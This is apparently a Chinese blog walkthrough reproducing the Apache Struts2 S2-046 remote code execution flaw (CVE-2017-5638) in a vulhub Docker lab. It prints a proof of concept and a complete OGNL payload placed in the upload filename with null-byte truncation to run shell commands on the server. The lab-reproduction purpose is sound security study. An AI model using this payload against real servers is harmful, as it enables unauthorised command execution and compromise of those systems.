一、S2-046 远程代码执行漏洞(CVE-2017-5638)
- 漏洞简介
Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
二、利用vulhub靶机平台实现漏洞复现 (1-4的步骤配图,和s2-045类似,详情可参考以前发的s2-045博客)
1、service docker start //开启docker服务
2、cd /vulhub/struts2/ //进入Struts2目录下
ls //查看里面的漏洞环境,由于s2-046以前版本过低,现在基本上漏洞都已修复
cd s2-046 //进入s2-046漏洞环境
cat README.md //这里可以查看该漏洞的复现步骤
eog 1.png //查看图片,即burp的抓包。
3、docker-compose up -d //下载启动漏洞环境
4、环境启动后,访问`http://your-ip:8080`即可看到上传页面。
## 漏洞复现
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用`\x00`截断。
5、使用burp抓包,然后发送到repeater模块
更改filename后为
POC: "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
在hex里找到b之前一个符号,使用00截断
截断后看图上所示,出现了空格
6、判断存在后,实行攻击语句payload,同样原理,将b前面一个字符00截断。
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
如图所示,标记处里可执行其他命令语句(与s2-045类似,必须有回显):如:id、whoami、ls、